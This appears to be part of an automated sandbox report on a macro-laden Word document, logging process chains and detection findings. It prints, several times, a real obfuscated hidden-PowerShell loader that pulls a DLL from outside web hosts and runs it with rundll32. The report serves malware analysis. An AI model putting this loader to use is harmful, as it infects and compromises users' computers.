Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsA
Source: unknown Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file.
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC
Source: unknown Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',jrGFt
Source: unknown Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',#1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\msg.exe msg user /v Word experienced an error trying to open the file. Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsAKAAnADcASgAnACsAJwBtADkAJwApACsAJwAvACcAKwAoACcAIQBuACcAKwAnAHMAIAB3AC Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\system32\rundll32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dll AnyString Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Kaktksw\An6othh\N49I.dll',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',jrGFt Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Clrqippylzmyb\rtulziofetmo.zgb',#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2096777718.0000000002797000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2096918890.0000000002C10000.00000002.00000001.sdmp

Data Obfuscation:

barindex
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Source: Notice 8283393_829.doc Stream path 'Macros/VBA/Gusca95luq_' : High number of GOTO operations
Source: VBA code instrumentation OLE, VBA macro, High number of GOTO operations: Module Gusca95luq_ Name: Gusca95luq_
Obfuscated command line found
Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgAnACkAKwAoACcAbABpAGMALgBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACsAJwBuACcAKwAnAHQAZQAnACkAKwAoACcAbgB0ACcAKwAnAC8AJwApACsAKAAnAHIAJwArACcAOABNAC8AIQAnACsAJwBuAHMAJwApACsAKAAnACAAJwArACcAdwB1ACAAJwArACcAZABiACAAbgBkACcAKQArACgAJwA6AC8AJwArACcALwBkACcAKQArACcAYQBzACcAKwAoACcAaAAnACsAJwB1AGQAJwApACsAKAAnAGEAbgBjAGUAJwArACcALgBjAG8AJwApACsAKAAnAG0ALwAnACsAJwB0AGgAJwApACsAJwBpAG4AJwArACgAJwBrAHAAJwArACcAaAAnACsAJwBwAC8AZAAnACkAKwAnAGcAJwArACcAcwAnACsA
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w hidden -enc UwBFAFQAIAAgACgAIgA1ACIAKwAiAEYAVABzAEcAIgApACAAKAAgAFsAdABZAFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADQAfQB7ADIAfQAiACAALQBGACAAJwBJAG8ALgAnACwAJwBzAHkAJwAsACcATwByAHkAJwAsACcAcwB0AGUAbQAuACcALAAnAGQASQByAGUAYwB0ACcAKQApACAAOwAgACAAJABxAEUAMwBSADkAPQAgACAAWwBUAHkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsANQB9AHsANAB9AHsAMgB9AHsAMwB9ACIALQBmACcAWQAnACwAJwBTACcALAAnAFAAbwBpAE4AdABtAEEAbgAnACwAJwBBAEcARQByACcALAAnAHQARQBtAC4AbgBFAFQALgBTAGUAUgBWAEkAYwBlACcALAAnAHMAJwApACAAIAA7ACQASwBvADMAYQBjADYAMwA9ACQAVAA4ADIASAAgACsAIABbAGMAaABhAHIAXQAoADMAMwApACAAKwAgACQAUAA2AF8AUwA7ACQASQA3ADAAWgA9ACgAJwBZADUAJwArACcAMABFACcAKQA7ACAAIAAoAEcAZQB0AC0AaQBUAEUAbQAgACAAKAAiAHYAIgArACIAYQAiACsAIgBSAEkAQQBCAGwAZQA6ADUAIgArACIARgB0AFMAZwAiACkAIAAgACkALgBWAGEAbABVAGUAOgA6ACIAQwByAGAARQBBAHQARQBgAGQAaQByAGUAYABjAHQAbwByAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAGUAMgBXACcAKwAnAEsAJwArACcAYQBrACcAKQArACgAJwB0AGsAcwB3ACcAKwAnAGUAJwArACcAMgBXACcAKQArACgAJwBBAG4ANgBvAHQAJwArACcAaAAnACkAKwAoACcAaABlACcAKwAnADIAVwAnACkAKQAgACAALQBjAFIARQBQAEwAQQBDAGUAIAAoACcAZQAnACsAJwAyAFcAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKQA7ACQAVwA5ADAAWAA9ACgAJwBEACcAKwAoACcANgAzACcAKwAnAFQAJwApACkAOwAgACgAVgBhAHIASQBBAEIAbABlACAAUQBlADMAUgA5ACAALQB2AEEATAB1AEUATwBuAGwAIAAgACkAOgA6ACIAUwBgAEUAQwBgAFUAcgBJAHQAYABZAGAAcAByAG8AdABvAEMATwBMACIAIAA9ACAAKAAnAFQAbAAnACsAKAAnAHMAMQAnACsAJwAyACcAKQApADsAJABFADMAMgBOAD0AKAAnAEoAJwArACgAJwA5ADYAJwArACcAQwAnACkAKQA7ACQAVQBlADcAdgA2AGUAbQAgAD0AIAAoACgAJwBOACcAKwAnADQAOQAnACkAKwAnAEkAJwApADsAJABCADMAMQBDAD0AKAAnAEEAOAAnACsAJwAxAEoAJwApADsAJABRAGYAeAAxADAAeABhAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ASwBhACcAKwAnAGsAdABrAHMAdwB7ACcAKwAnADAAJwArACcAfQAnACsAJwBBAG4AJwArACcANgBvAHQAaABoAHsAMAB9ACcAKQAtAEYAIABbAGMAaABhAFIAXQA5ADIAKQArACQAVQBlADcAdgA2AGUAbQArACcALgBkACcAIAArACAAJwBsAGwAJwA7ACQAWQAwADMARQA9ACgAJwBCADMAJwArACcAMwBSACcAKQA7ACQASwAxAGkAdQB4AHgAcAA9ACcAaAAnACAAKwAgACcAdAB0ACcAIAArACAAJwBwACcAOwAkAFQAYQAxAHkAcwBwADQAPQAoACcAbgBzACcAKwAnACAAJwArACgAJwB3AHUAIABkACcAKwAnAGIAIAAnACkAKwAoACcAbgAnACsAJwBkADoAJwApACsAKAAnAC8AJwArACcALwBzAGgAYQBuACcAKQArACcAbgAnACsAKAAnAGEAcgAnACsAJwBlACcAKQArACcAZAAnACsAKAAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgAnACsAJwB0AGUAJwArACcAbgAnACkAKwAnAHQAJwArACgAJwAvAGwAaAAnACsAJwBBACcAKQArACgAJwBMAGUAJwArACcAUwAnACkAKwAoACcALwAhAG4AJwArACcAcwAnACkAKwAoACcAIAB3AHUAIAAnACsAJwBkAGIAJwApACsAKAAnACAAbgAnACsAJwBkADoAJwApACsAJwAvAC8AJwArACgAJwBqAGUAZQAnACsAJwB2AGEAbgA